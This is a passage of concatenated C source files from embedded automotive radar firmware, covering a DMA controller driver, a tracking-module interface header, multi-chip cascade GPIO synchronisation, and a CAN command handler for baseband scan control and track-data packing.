drv_dma.dma_chn[idx].chn_id = idx;
drv_dma.dma_chn[idx].status = DMA_CHN_IDLE;
}
/* regsiter isr. */
result = int_handler_install(dev_dma->chn_int[INT_TFR], dma_isr);
if (result < 0) {
break;
} else {
/* enable intc of dma. */
dmu_irq_enable(dev_dma->chn_int[INT_TFR], 1);
}
result = int_enable(dev_dma->chn_int[INT_TFR]);
if (result < 0) {
break;
}
result = int_handler_install(dev_dma->chn_int[INT_ERR], dma_err_isr);
if (result < 0) {
break;
} else {
dmu_irq_enable(dev_dma->chn_int[INT_ERR], 1);
}
result = int_enable(dev_dma->chn_int[INT_ERR]);
if (result < 0) {
break;
}
/* enable dmac. */
dma_enable(1);
result = dma_ops->enable(dev_dma, 1);
} while (0);
return result;
}
int32_t dma_apply_channel(void)
{
int32_t result = E_DBUSY;
dw_dmac_t *dev_dma = (dw_dmac_t *)drv_dma.dev_dma;
dma_channel_t *chn_info = drv_dma.dma_chn;
if ((NULL == chn_info) || (NULL == dev_dma)) {
result = E_SYS;
} else {
uint32_t idx, chn_cnt = dev_dma->nof_chn;
uint32_t cpu_sts = arc_lock_save();
for (idx =0; idx < chn_cnt; idx++) {
if (DMA_CHN_IDLE == chn_info->status) {
result = idx;
chn_info[idx].status = DMA_CHN_ALLOC;
break;
}
}
arc_unlock_restore(cpu_sts);
}
return result;
}
/*
* work mode:
**********************************************************
* SRC * DST *
**********************************************************
* 5 4 3 2 1 0 *
* RELOAD Gather LLP RELOAD Scatter LLP *
**********************************************************/
static void dma_chn_desc2cfg(uint8_t work_mode, dma_trans_desc_t *desc, \
dw_dmac_chn_cfg_t *chn_cfg)
{
dma_chn_src_t *chn_src = &desc->src_desc;
dma_chn_dst_t *chn_dst = &desc->dst_desc;
chn_cfg->dst_hw_if = chn_dst->hw_if;
chn_cfg->src_hw_if = chn_src->hw_if;
chn_cfg->src_sts_upd_en = chn_src->sts_upd_en;
chn_cfg->dst_sts_upd_en = chn_dst->sts_upd_en;
//chn_cfg.prot_ctrl = 0;
//chn_cfg->fifo_mode = 0;
//chn_cfg->dst_reload = chn_dst->reload;
//chn_cfg->src_reload = chn_dst->reload;
chn_cfg->dst_reload = ((work_mode >> 2) & 0x1) ? (1) : (0);
chn_cfg->src_reload = ((work_mode >> 5) & 0x1) ? (1) : (0);
chn_cfg->src_hw_if_pol = DW_DMAC_REQ_SIGNAL_POL;
chn_cfg->dst_hw_if_pol = DW_DMAC_REQ_SIGNAL_POL;
chn_cfg->src_hw_hs_sel = chn_src->hs;
chn_cfg->dst_hw_hs_sel = chn_dst->hs;
//chn_cfg->suspend = 0;
chn_cfg->priority = desc->priority;
}
static void dma_chn_desc2ctrl(uint8_t work_mode, dma_trans_desc_t *desc, \
dw_dmac_chn_ctrl_t *chn_ctrl)
{
dma_chn_src_t *chn_src = &desc->src_desc;
dma_chn_dst_t *chn_dst = &desc->dst_desc;
chn_ctrl->block_ts = desc->block_transfer_size;
//chn_ctrl->llp_src_en = chn_src->llp_en;
//chn_ctrl->llp_dst_en = chn_dst->llp_en;
chn_ctrl->llp_src_en = ((work_mode >> 3) & 0x1) ? (1) : (0);
chn_ctrl->llp_dst_en = (work_mode & 0x1) ? (1) : (0);
chn_ctrl->tt_fc = desc->transfer_type;
//chn_ctrl->dst_scatter_en = chn_dst->scatter_en;
//chn_ctrl->src_gather_en = chn_src->gather_en;
chn_ctrl->dst_scatter_en = ((work_mode >> 1) & 0x1) ? (1) : (0);
chn_ctrl->src_gather_en = ((work_mode >> 4) & 0x1) ? (1) : (0);
chn_ctrl->src_msize = chn_src->burst_tran_len;
chn_ctrl->dst_msize = chn_dst->burst_tran_len;
chn_ctrl->sinc = chn_src->addr_mode;
chn_ctrl->dinc = chn_dst->addr_mode;
//chn_ctrl->int_en = 1;
}
static inline uint32_t dma_llp_cnt(dma_trans_desc_t *desc)
{
uint32_t block_cnt, llp_cnt = 1;
uint32_t total_size = desc->block_transfer_size;
/* TODO: byte to single transaction size(word). */
block_cnt = total_size >> 2;
if (total_size % 4) {
block_cnt += 1;
}
if (block_cnt > 31) {
llp_cnt = block_cnt / 31;
if (block_cnt % 31) {
llp_cnt += 1;
}
} else {
llp_cnt = 1;
}
return llp_cnt;
}
static inline void dma_llp_filling(dma_channel_t *chn_info, dma_trans_desc_t *desc, \
dw_dmac_chn_ctrl_t *ctrl)
{
uint32_t idx = 0, l_ctrlr = 0;
uint32_t msize, single_cnt, block_cnt = 31;
uint32_t src = desc->src_desc.addr;
uint32_t dst = desc->dst_desc.addr;
uint32_t total_size = desc->block_transfer_size;
uint32_t next_llp_base = 0;
volatile dma_llp_desc_t *llp_desc = chn_info->llp;
l_ctrlr = dma_ctrl2regl(ctrl);
if (MEM_TO_PERI == desc->transfer_type) {
block_cnt = 1;
if (desc->dst_desc.burst_tran_len) {
msize = 1 << (desc->dst_desc.burst_tran_len + 1);
//msize *= 8;
} else {
msize = 1;
}
} else if (PERI_TO_MEM == desc->transfer_type) {
block_cnt = 1;
if (desc->src_desc.burst_tran_len) {
msize = 1 << (desc->src_desc.burst_tran_len + 1);
//msize *= 8;
} else {
msize = 1;
}
} else {
msize = 1;
}
single_cnt = block_cnt * msize;
/* filling llp. */
while (total_size) {
_arc_write_uncached_32((void *)&llp_desc->sar, src);
_arc_write_uncached_32((void *)&llp_desc->dar, dst);
_arc_write_uncached_32((void *)&llp_desc->lctrl, l_ctrlr);
//llp_desc->hctrl = dma_ctrl2regh(&);
if (total_size < single_cnt << 2) {
if (MEM_TO_MEM == desc->transfer_type) {
single_cnt = total_size >> 2;
if (total_size & 0x3) {
single_cnt += 1;
}
block_cnt = single_cnt;
}
/* llp end. */
next_llp_base = 0;
total_size = 0;
} else {
next_llp_base = (uint32_t)(llp_desc + 1);
total_size -= single_cnt << 2;
}
_arc_write_uncached_32((void *)&llp_desc->next, next_llp_base);
_arc_write_uncached_32((void *)&llp_desc->hctrl, block_cnt);
/*
llp_desc->sstat = desc->src_desc.sts_addr;
llp_desc->dstat = desc->dst_desc.sts_addr;
*/
switch (desc->src_desc.addr_mode) {
case ADDRESS_INCREMENT:
src += single_cnt << 2;
break;
case ADDRESS_DECREMENT:
src -= single_cnt << 2;
break;
case ADDRESS_FIXED:
break;
case ADDRESS_FIXED_1:
default:
/* nothing to do? */
break;
}
switch (desc->dst_desc.addr_mode) {
case ADDRESS_INCREMENT:
dst += single_cnt << 2;
break;
case ADDRESS_DECREMENT:
dst -= single_cnt << 2;
break;
case ADDRESS_FIXED:
break;
case ADDRESS_FIXED_1:
default:
/* nothing to do? */
break;
}
idx += 1;
llp_desc++;
}
}
int32_t dma_config_channel(uint32_t chn_id, dma_trans_desc_t *desc, uint32_t int_flag)
{
int32_t result = E_OK;
dw_dmac_t *dev_dma = (dw_dmac_t *)drv_dma.dev_dma;
dw_dmac_ops_t *dma_ops = (dw_dmac_ops_t *)dev_dma->ops;
dma_channel_t *chn_info = drv_dma.dma_chn;
uint8_t work_mode = chn_info[chn_id].work_mode;
do {
uint32_t llp_cnt = 0;
dw_dmac_chn_ctrl_t chn_ctrl;
dw_dmac_chn_cfg_t chn_cfg;
if ((NULL == chn_info) || (NULL == dev_dma) || (NULL == dev_dma->ops) || \
(chn_id >= dev_dma->nof_chn) || (NULL == desc)) {
result = E_SYS;
break;
}
if (DMA_CHN_ALLOC != chn_info[chn_id].status) {
result = E_SYS;
break;
}
/* restore channel config... */
//memcpy((void *)chn_info[chn_id].desc, (void *)desc, sizeof(dma_trans_desc_t));
chn_cfg.prot_ctrl = drv_dma.prot_ctrl;
chn_cfg.suspend = 0;
chn_cfg.fifo_mode = drv_dma.fifo_mode;
dma_chn_desc2cfg(work_mode, desc, &chn_cfg);
result = dma_ops->chn_config(dev_dma, chn_id, &chn_cfg);
if (E_OK != result) {
break;
}
if ((chn_cfg.src_sts_upd_en) || (chn_cfg.dst_sts_upd_en)) {
result = dma_ops->chn_status_address(dev_dma, chn_id, \
desc->src_desc.sts_addr, desc->dst_desc.sts_addr);
if (E_OK != result) {
break;
}
}
/* compute the transfer length, if need llp, then open it. */
result = (int32_t)dma_llp_cnt(desc);
if (result <= 0) {
result = E_SYS;
break;
} else if (result > 1) {
llp_cnt = (uint32_t)result;
if (llp_cnt >= DMA_LLP_CNT_MAX) {
result = E_PAR;
break;
} else {
/* enable llp. */
work_mode |= (1 << 3) | 1;
}
chn_ctrl.int_en = int_flag;
dma_chn_desc2ctrl(work_mode, desc, &chn_ctrl);
/* filling llp. */
dma_llp_filling(&chn_info[chn_id], desc, &chn_ctrl);
} else {
EMBARC_PRINTF("single...%d!\r\n", desc->block_transfer_size);
/* TODO: byte to single transaction size(word). */
desc->block_transfer_size >>= 2;
//desc->block_transfer_size -= 1;
chn_ctrl.int_en = int_flag;
dma_chn_desc2ctrl(work_mode, desc, &chn_ctrl);
}
result = dma_ops->chn_control(dev_dma, chn_id, &chn_ctrl);
if (E_OK != result) {
break;
}
if (chn_ctrl.src_gather_en) {
result = dma_ops->chn_gather(dev_dma, chn_id, \
desc->src_desc.gather_iv, desc->src_desc.gather_cnt);
if (E_OK != result) {
break;
}
}
if (chn_ctrl.dst_scatter_en) {
result = dma_ops->chn_scatter(dev_dma, chn_id, \
desc->dst_desc.scatter_iv, desc->dst_desc.scatter_cnt);
if (E_OK != result) {
break;
}
}
result = dma_ops->chn_address(dev_dma, chn_id, \
desc->src_desc.addr, desc->dst_desc.addr);
if (E_OK != result) {
break;
}
if ((chn_ctrl.llp_src_en) || (chn_ctrl.llp_dst_en)) {
result = dma_ops->chn_ll_pointer(dev_dma, chn_id, (uint32_t)chn_info[chn_id].llp);
if (E_OK != result) {
break;
}
}
chn_info[chn_id].status = DMA_CHN_INIT;
} while (0);
return result;
}
int32_t dma_start_channel(uint32_t chn_id, dma_chn_callback func)
{
int32_t result = E_OK;
dw_dmac_t *dev_dma = (dw_dmac_t *)drv_dma.dev_dma;
dw_dmac_ops_t *dma_ops = (dw_dmac_ops_t *)dev_dma->ops;
dma_channel_t *chn_info = drv_dma.dma_chn;
if ((NULL == chn_info) || (NULL == dev_dma) || (NULL == dev_dma->ops) || \
(chn_id >= dev_dma->nof_chn)) {
result = E_SYS;
} else {
do {
chn_info[chn_id].callback = func;
if (func) {
result = dma_ops->chn_int_enable(dev_dma, chn_id, \
INT_TFR, 1);
if (E_OK != result) {
break;
}
}
result = dma_ops->chn_enable(dev_dma, chn_id, 1);
if (E_OK == result) {
chn_info[chn_id].status = DMA_CHN_BUSY;
}
} while (0);
}
return result;
}
int32_t dma_release_channel(uint32_t chn_id)
{
int32_t result = E_OK;
dw_dmac_t *dev_dma = (dw_dmac_t *)drv_dma.dev_dma;
dw_dmac_ops_t *dma_ops = (dw_dmac_ops_t *)dev_dma->ops;
dma_channel_t *chn_info = drv_dma.dma_chn;
if ((NULL == chn_info) || (NULL == dev_dma) || \
(chn_id >= dev_dma->nof_chn)) {
result = E_SYS;
} else {
chn_info[chn_id].callback = NULL;
result = dma_ops->chn_enable(dev_dma, chn_id, 0);
if (E_OK == result) {
chn_info[chn_id].status = DMA_CHN_IDLE;
}
}
return result;
}
int32_t dma_transfer(dma_trans_desc_t *desc, dma_chn_callback func)
{
int32_t result = E_OK;
uint32_t chn_id, int_flag = 0;
do {
if (NULL == desc) {
result = E_PAR;
break;
}
result = dma_apply_channel();
if (result < 0) {
break;
} else {
chn_id = (uint32_t)result;
}
drv_dma.dma_chn[chn_id].work_mode = DMA_SRC_NR_NG_NLLP_DST_NR_NS_NLLP;
if (func) {
int_flag = 1;
}
result = dma_config_channel(chn_id, desc, int_flag);
if (E_OK != result) {
result = dma_release_channel(chn_id);
break;
}
result = dma_start_channel(chn_id, func);
if (E_OK != result) {
break;
}
} while (0);
return result;
}
static int32_t dma_sw_request(uint32_t chn_id)
{
int32_t result = E_OK;
dw_dmac_t *dev_dma = (dw_dmac_t *)drv_dma.dev_dma;
dw_dmac_ops_t *dma_ops = (dw_dmac_ops_t *)dev_dma->ops;
if ((NULL == dev_dma) || (NULL == dma_ops) || \
(chn_id >= dev_dma->nof_chn)) {
result = E_SYS;
} else {
result = dma_ops->sw_request(dev_dma, chn_id);
}
return result;
}
static void dma_memcopy_callback(void *params)
{
int32_t result = dma_release_channel((uint32_t)params);
if (E_OK != result) {
/* TODO: record error! */
}
}
static int32_t dma_raw_memcopy(uint32_t *dst, uint32_t *src, uint32_t len, dma_chn_callback func)
{
int32_t result = E_OK;
uint32_t chn_id = 0;
//uint32_t llp_cnt, block_cnt = 0;
dma_chn_callback chn_isr_callback = dma_memcopy_callback;
dma_trans_desc_t *desc = NULL;
//memcpy((void *)chn_info[chn_id].desc, (void *)desc, sizeof(dma_trans_desc_t));
do {
if ((NULL == dst) || (NULL == src) || (0 == len)) {
result = E_PAR;
break;
}
result = dma_apply_channel();
if (E_OK != result) {
break;
} else {
chn_id = (uint32_t)result;
}
DMA_MEMCOPY_DEFAULT_DESC(&drv_dma.dma_chn[chn_id].desc);
desc = &drv_dma.dma_chn[chn_id].desc;
drv_dma.dma_chn[chn_id].work_mode = DMA_SRC_NR_NG_NLLP_DST_NR_NS_NLLP;
desc->src_desc.burst_tran_len = BURST_LEN1;
desc->src_desc.addr = (uint32_t)src;
desc->dst_desc.burst_tran_len = BURST_LEN1;
desc->dst_desc.addr = (uint32_t)dst;
//desc->block_transfer_size = (len >> 2);
desc->block_transfer_size = len;
result = dma_config_channel(chn_id, desc, 1);
if (E_OK != result) {
result = dma_release_channel(chn_id);
break;
}
if (NULL != func) {
chn_isr_callback = func;
}
result = dma_start_channel(chn_id, chn_isr_callback);
if (E_OK != result) {
break;
}
} while (0);
return result;
}
int32_t dma_memcopy(uint32_t *dst, uint32_t *src, uint32_t len)
{
return dma_raw_memcopy(dst, src, len, NULL);
}
int32_t dma_user_memcopy(uint32_t *dst, uint32_t *src, uint32_t len, dma_chn_callback func)
{
return dma_raw_memcopy(dst, src, len, func);
}
static void dma_isr(void *params)
{
int32_t result = E_OK;
uint32_t chn_id = 0;
uint32_t intsts = 0;
dw_dmac_t *dev_dma = (dw_dmac_t *)drv_dma.dev_dma;
dw_dmac_ops_t *dma_ops = (dw_dmac_ops_t *)dev_dma->ops;
dma_channel_t *chn_info = drv_dma.dma_chn;
do {
if ((NULL == dev_dma) || (NULL == dma_ops)) {
/* TODO: record error! */
result = E_SYS;
break;
}
result = dma_ops->int_status(dev_dma, INT_TFR);
if (result <= 0) {
/* TODO: record error! */
result = dma_ops->int_disable(dev_dma, INT_TFR);
break;
}
result = dma_ops->chn_int_status(dev_dma, INT_TFR);
if (result <= 0) {
/* TODO: record error! */
break;
} else {
intsts = (uint32_t)result;
}
for (; chn_id < dev_dma->nof_chn; chn_id++) {
if (intsts & (1 << chn_id)) {
if (chn_info[chn_id].callback) {
chn_info[chn_id].callback((void *)chn_id);
}
result = dma_ops->chn_int_clear(dev_dma, chn_id, INT_TFR);
if (E_OK != result) {
/* TODO: record error! */
break;
}
}
}
} while (0);
}
static void dma_err_isr(void *params)
{
int32_t result = E_OK;
uint32_t chn_id = 0;
uint32_t intsts = 0;
dw_dmac_t *dev_dma = (dw_dmac_t *)drv_dma.dev_dma;
dw_dmac_ops_t *dma_ops = (dw_dmac_ops_t *)dev_dma->ops;
//dma_channel_t *chn_info = drv_dma.dma_chn;
do {
if ((NULL == dev_dma) || (NULL == dma_ops)) {
/* TODO: record error! */
result = E_SYS;
break;
}
result = dma_ops->int_status(dev_dma, INT_ERR);
if (E_OK != result) {
/* TODO: record error! */
result = dma_ops->int_disable(dev_dma, INT_ERR);
break;
}
result = dma_ops->chn_int_status(dev_dma, INT_ERR);
if (result < 0) {
/* TODO: record error! */
break;
} else {
intsts = (uint32_t)result;
}
for (; chn_id < dev_dma->nof_chn; chn_id++) {
if (intsts & (1 << chn_id)) {
/* TODO: record error! */
;
}
}
} while (0);
}
<file_sep>/*
The header file defines interfaces between tracking module and the result of firmware.
Please DONOT put definitions that is specific to particular tracking algorithm here!!
*/
#ifndef CALTERAH_TRACK_H
#define CALTERAH_TRACK_H
#include "track_common.h"
#include "radar_sys_params.h"
#include "calterah_limits.h"
/*--- DEFINE -------------------------*/
#define LOW2BITMASk 0x0003 /* bit 0 - bit 1 */
#define LOW10BITMASk 0x03FF /* bit 0 - bit 9 */
#define LOW15BITMASk 0x7FFF /* bit 0 - bit 14 */
#define LOW16BITMASk 0xFFFF /* bit 0 - bit 15 */
#define LOW32BITMASk 0xFFFFFFFF /* bit 0 - bit 31 */
#define ROUNDF (0.5)
/* The size of a full frame format is [5 * (AK + BK + Head)] words */
/* so the max array num is [5 * (2 * MAX_OBJ_NUM + 1)] */
#define MAX_OBJ_NUM 1024
#define MAX_ARRAY_NUM (5 * MAX_OBJ_NUM + 2)
typedef void (*track_if_t)(void *data, void *ctx);
typedef void (*track_frame_interval_t)(void *data, track_float_t delta);
typedef void (*track_update_obj_t)(void *data, void *ctx, uint32_t i);
typedef bool (*track_has_run_t)(void *data);
/* tracker top */
typedef struct {
track_float_t f_last_time; /* time stamp of last frame */
track_float_t f_now; /* time stamp of current frame */
track_cdi_pkg_t cdi_pkg; /* raw data read from HW with conversion */
track_obj_output_t output_obj; /* algorithm will update it for object data output */
track_header_output_t output_hdr; /* algorithm will update it for header data output */
void *trk_data; /* tracking algorithm specific data */
track_if_t trk_init; /* algorithm init handler */
track_if_t trk_pre; /* algorithm pre-run handler */
track_if_t trk_run; /* algorithm run handler */
track_if_t trk_post; /* algorithm post-run handler */
track_if_t trk_stop; /* algorithm stop handler */
track_has_run_t trk_has_run; /* whether it is first time to run algorithm */
track_frame_interval_t trk_set_frame_int; /* set frame interval for algorithm to run */
track_update_obj_t trk_update_obj_info; /* handler to update "output_obj" */
track_if_t trk_update_header; /* handler to update "output_hdr" */
radar_sys_params_t* radar_params[MAX_FRAME_TYPE];
} track_t;
typedef enum {
HEAD = 1,
BK,
AK
} data_block_t;
/*--- DECLARAION ---------------------*/
void track_init (track_t *track);
void track_init_sub(track_t *track, void *ctx);
void track_pre_start(track_t *track);
bool track_is_ready(track_t *track);
void track_lock(track_t *track);
void track_start(track_t *track);
void track_stop (track_t *track);
void track_read (track_t *track);
void track_run (track_t *track);
void track_output_print(track_t *track);
void track_pkg_uart_hex_print(track_t *track);
void track_pkg_uart_string_print(track_t *track);
track_t* track_get_track_ctrl();
void trac_init_track_ctrl(track_t *ctrl, void *ctx);
static void init_track_data(uint16_t number);
uint32_t transform_data(float data);
static void transfer_data(track_t *track, data_block_t data, uint16_t index, uint32_t end);
#if 0
/* TODO, following 3 functions(switch timer period) can be removed, just reserved here for future possible needs */
/* They are used for bug fixing in ALPS_B, but they're unuseful for now in ALPS_MP */
void track_timer_period_save();
void track_timer_period_restore();
void track_timer_period_change(uint8_t new_period);
#endif
#endif
<file_sep>#include <string.h>
#include "embARC_toolchain.h"
#include "FreeRTOS.h"
#include "task.h"
#include "embARC.h"
#include "embARC_debug.h"
#include "dw_gpio.h"
#include "gpio_hal.h"
#include "spi_hal.h"
#include "cascade_config.h"
#include "cascade.h"
#include "cascade_internal.h"
#include "baseband.h"
#define GPIO_CASCADE_S2M_SYNC (7)
#define GPIO_CASCADE_S2M_SYNC_BB (8)
static uint32_t s2m_sync_sts = 0;
static uint32_t s2m_sync_bb_sts = 0;
static uint32_t chip_cascade = CHIP_CASCADE_MASTER;
static uint32_t cascade_status_inited = 0;
static QueueHandle_t sync_queue_handle = NULL;
static TaskHandle_t s2m_sync_handle = NULL;
static void cascade_s2m_sync_task(void *params);
int32_t chip_cascade_status(void)
{
int32_t result = chip_cascade;
while (0 == cascade_status_inited) {
uint32_t loop_cnt, value = 0, cnt = 0;
io_mux_adc_sync_disable();
result = gpio_set_direct(CHIP_CASCADE_SYNC_M, DW_GPIO_DIR_OUTPUT);
if (E_OK != result) {
break;
}
result = gpio_set_direct(CHIP_CASCADE_SYNC_S, DW_GPIO_DIR_INPUT);
if (E_OK != result) {
break;
}
loop_cnt = 3;
while (loop_cnt--) {
result = gpio_write(CHIP_CASCADE_SYNC_M, value);
if (E_OK != result) {
break;
} else {
chip_hw_udelay(10);
}
result = gpio_read(CHIP_CASCADE_SYNC_S);
if (value != result) {
chip_cascade = CHIP_CASCADE_SLAVE;
result = chip_cascade;
break;
} else {
value = !value;
cnt++;
}
}
if (3 == cnt) {
chip_cascade = CHIP_CASCADE_MASTER;
result = chip_cascade;
}
cascade_status_inited = 1;
io_mux_adc_sync();
}
return result;
}
int32_t cascade_spi_s2m_sync(void)
{
int32_t result = E_OK;
result = gpio_write(GPIO_CASCADE_S2M_SYNC, s2m_sync_sts);
if (E_OK == result) {
s2m_sync_sts = !s2m_sync_sts;
}
return result;
}
int32_t cascade_if_slave_sync_init(void)
{
int32_t result = E_OK;
result = gpio_set_direct(GPIO_CASCADE_S2M_SYNC, \
DW_GPIO_DIR_OUTPUT);
if (E_OK == result) {
result = cascade_spi_s2m_sync();
}
return result;
}
static void cascade_s2m_sync_isr(void *params)
{
BaseType_t higher_task_wkup = 0;
uint32_t msg = 1;
if (pdTRUE == xQueueSendFromISR(sync_queue_handle, \
&msg, &higher_task_wkup)) {
if (higher_task_wkup) {
portYIELD_FROM_ISR();
}
} else {
/* TODO: record error! */
;
}
}
int32_t cascade_if_master_sync_init(void)
{
int32_t result = E_OK;
do {
result = gpio_set_direct(GPIO_CASCADE_S2M_SYNC, \
DW_GPIO_DIR_INPUT);
if (E_OK != result) {
break;
}
result = gpio_int_register(GPIO_CASCADE_S2M_SYNC, \
cascade_s2m_sync_isr, \
GPIO_INT_BOTH_EDGE_ACTIVE);
if (E_OK != result) {
break;
}
sync_queue_handle = xQueueCreate(CASCADE_QUEUE_LEN, 4);
if (NULL == sync_queue_handle) {
EMBARC_PRINTF("Error: cascade queue create failed.\r\n");
result = E_SYS;
break;
}
if (pdPASS != xTaskCreate(cascade_s2m_sync_task, "s2m_sync_task",
128, (void *)0, configMAX_PRIORITIES - 1,
&s2m_sync_handle)) {
EMBARC_PRINTF("create cs_xfer_handle error\r\n");
result = E_SYS;
}
} while (0);
return result;
}
// sync_bb
int32_t cascade_s2m_sync_bb(void)
{
int32_t result = E_OK;
result = gpio_write(GPIO_CASCADE_S2M_SYNC_BB, s2m_sync_bb_sts);
if (E_OK == result)
s2m_sync_bb_sts = !s2m_sync_bb_sts;
return result;
}
int32_t cascade_if_slave_sync_bb_init(void)
{
int32_t result = E_OK;
result = gpio_set_direct(GPIO_CASCADE_S2M_SYNC_BB, \
DW_GPIO_DIR_OUTPUT);
if (E_OK == result)
result = cascade_s2m_sync_bb();
return result;
}
int32_t cascade_if_master_sync_bb_init(void)
{
int32_t result = E_OK;
result = gpio_set_direct(GPIO_CASCADE_S2M_SYNC_BB, \
DW_GPIO_DIR_INPUT);
if (E_OK == result)
result = gpio_int_register(GPIO_CASCADE_S2M_SYNC_BB, \
baseband_cascade_sync_handler, \
GPIO_INT_BOTH_EDGE_ACTIVE);
return result;
}
static void cascade_s2m_sync_task(void *params)
{
uint32_t msg = 0;
while (1) {
if (pdTRUE == xQueueReceive(sync_queue_handle, \
&msg, portMAX_DELAY))
cascade_sync_callback(NULL);
else
taskYIELD();
}
}
<file_sep>#ifndef _SPIS_SERVER_H_
#define _SPIS_SERVER_H_
void spis_server_init(void);
int32_t spis_server_write(uint32_t *data, uint32_t len);
int32_t spis_server_transmit_done(void);
#endif
<file_sep>#include "can_signal_interface.h"
#include "baseband.h"
#include "semphr.h"
#include "dbg_gpio_reg.h"
#include "baseband_task.h"
#include "sensor_config.h"
#include "embARC.h"
#include "can_hal.h"
#include "can_cli.h"
#include "can_obj.h"
#include "baseband_reg.h"
#include "dev_can.h"
#include "baseband_cli.h"
extern SemaphoreHandle_t mutex_frame_count;
extern int32_t frame_count;
extern int32_t initial_flag;
extern SemaphoreHandle_t mutex_initial_flag;
/* controlling the bk and ak data output */
static bool output_bk_id0 = false;
static bool output_bk_id1 = false;
static bool output_bk_id2 = false; /* Reserved */
static bool output_ak_id0 = false;
static bool output_ak_id1 = false;
static bool output_ak_id2 = false; /* Reserved */
static bool scan_sample_on = false;
#define SCAN_START 1
#define SCAN_NO_STREAM 0b00 /* No using the stream param */
#define SCAN_STREAM_ON 0b01
#define SCAN_STREAM_OFF 0b10
#define SCAN_NO_SAMPLE 0b000 /* No using the sample type param */
#define SCAN_SAMPLE_ADC 0b001
#define SCAN_SAMPLE_FFT1D 0b010
#define SCAN_SAMPLE_FFT2D 0b011
#define SCAN_SAMPLE 0b100
#define SCAN_SAMPLE_BPM 0b101
#define SYS_ENA(MASK, var) (var << SYS_ENABLE_##MASK##_SHIFT)
#define BB_WRITE_REG(bb_hw, RN, val) baseband_write_reg(bb_hw, BB_REG_##RN, val)
/* The number of arrays required for a CAN frame*/
#define FRAME_ARRAY_NUM (4)
static uint32_t track_data[FRAME_ARRAY_NUM] = {0};
static int32_t can_ota_handler(uint8_t *data, uint32_t len);
static int32_t can_ota_comm_handshake(uint8_t *data, uint32_t len);
int32_t can_scan_signal(uint8_t *data, uint32_t len)
{
int32_t param1 = -1, param2 = -1, param3 = -1, param4 = -1;
bool dmp_mid_enable = false;
bool dmp_fnl_enable = false;
bool fft1d_enable = false;
int32_t count = 0;
bool stream_on_en = false;
/* getting the output data config of bk and ak */
output_bk_id0 = (data[3] & 0x1); /* ID 0x400 */
output_bk_id1 = ((data[3] >> 1) & 0x1); /* ID 0x401 */
output_bk_id2 = ((data[3] >> 2) & 0x1); /* ID 0x402 */
output_ak_id0 = ((data[3] >> 3) & 0x1); /* ID 0x500 */
output_ak_id1 = ((data[3] >> 4) & 0x1); /* ID 0x501 */
output_ak_id2 = ((data[3] >> 5) & 0x1); /* ID 0x502 */
param1 = data[0] & 0x1; /* Start/Stop:1/0 */
param2 = (data[1] | (data[2] << 8)) & 0xFFFF; /* Number of Frame */
param3 = (data[0] >> 1) & 0x3; /* Stream_on/Stream_off:0b01/0b10 */
param4 = (data[0] >> 3) & 0x7; /* Sample_Type: adc/fft1/fft2/cfar/bpm */
if (param1 == SCAN_START) {
baseband_frame_type_reset();
} else {
/* scan stop */
bb_clk_restore(); /* restore when stoped by commond */
xSemaphoreTake(mutex_frame_count, portMAX_DELAY);
frame_count = 0;
xSemaphoreGive(mutex_frame_count);
return E_OK;
}
if (param2 == 0)
count = -1;
else
count = param2;
if (param3 != SCAN_NO_STREAM) {
if (param3 == SCAN_STREAM_ON){
stream_on_en = true;
} else if (param3 == SCAN_STREAM_OFF){
dbgbus_dump_stop();
baseband_switch_buf_store(NULL, SYS_BUF_STORE_FFT);
} else {
return E_PAR;
}
} else {
baseband_switch_buf_store(NULL, SYS_BUF_STORE_FFT);
}
if ((param4 != SCAN_NO_SAMPLE) && (stream_on_en == true)) {
scan_sample_on = true;
if (param4 == SCAN_SAMPLE_ADC) {
dbgbus_dump_start(DBG_SRC_DUMP_WO_SYNC);
dmp_mid_enable = true;
fft1d_enable = true;
baseband_switch_buf_store(NULL, SYS_BUF_STORE_ADC);
} else if (param4 == SCAN_SAMPLE_FFT1D) {
dbgbus_dump_start(DBG_SRC_DUMP_WO_SYNC);
dmp_mid_enable = true;
baseband_switch_buf_store(NULL, SYS_BUF_STORE_FFT);
} else if (param4 == SCAN_SAMPLE_FFT2D) {
dbgbus_dump_start(DBG_SRC_DUMP_WO_SYNC);
dmp_fnl_enable = true;
} else if (param4 == SCAN_SAMPLE) {
dbgbus_dump_start(DBG_SRC_SAM); /* config sample debug data to GPIO */
bb_clk_switch(); /* debug data has no buffer, bb clock should be switched to dbgbus clock */
} else {
stream_on_en = false;
return E_PAR;
}
}
/* config baseband status enable */
uint16_t bb_status_cfg = SYS_ENA(SAM , true )
|SYS_ENA(DMP_MID, dmp_mid_enable)
|SYS_ENA(FFT_1D , fft1d_enable )
|SYS_ENA(FFT_2D , true )
|SYS_ENA(CFR , true )
|SYS_ENA(BFM , true )
|SYS_ENA(DMP_FNL, dmp_fnl_enable);
uint16_t bb_agc_en;
uint16_t bb_status_en;
for (int i = 0; i < NUM_FRAME_TYPE; i++) {
baseband_hw_t *bb_hw = &baseband_get_bb(i)->bb_hw;
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
uint8_t agc_m = cfg->agc_mode == 0 ? 0: 1;
bb_agc_en = (agc_m << SYS_ENABLE_AGC_SHIFT);
bb_status_en = bb_status_cfg | bb_agc_en;
BB_WRITE_REG(bb_hw, SYS_BNK_ACT, i); /* switch the bank for cpu access*/
BB_WRITE_REG(bb_hw, SYS_ENABLE, bb_status_en);
}
/* change initial flag */
xSemaphoreTake(mutex_initial_flag, portMAX_DELAY);
initial_flag = 1;
xSemaphoreGive(mutex_initial_flag);
/* change frame number */
xSemaphoreTake(mutex_frame_count, portMAX_DELAY);
frame_count = count;
xSemaphoreGive(mutex_frame_count);
return E_OK;
}
void track_pkg_can_print(track_t *track)
{
/* variable */
uint16_t i = 0;
void* sys_params = track->radar_params[baseband_get_cur_frame_type()];
if (track->trk_update_header)
track->trk_update_header(track->trk_data, sys_params);
/* Head Data - 3 WORD Length : From track_data[0] to track_data[3] */
/* track_data[0] - ID 0x300 Byte0 -> Byte3 */
/* track_data[1] - ID 0x300 Byte4 -> Byte7 */
/* track_data[2] - ID 0x301 Byte0 -> Byte3 */
/* track_data[3] - ID 0x301 Byte4 -> Byte7 */
track_data[0] = (((uint32_t)((track->output_hdr.frame_int * 100) + ROUNDF) & LOW10BITMASk)
| ((track->output_hdr.frame_id & LOW16BITMASk) << 16));
track_data[1] = (((track->output_hdr.frame_id >> 16) & LOW16BITMASk)
| ((track->cdi_pkg.cdi_number & LOW10BITMASk) << 16));
track_data[2] = ((track->output_hdr.track_output_number & LOW10BITMASk)
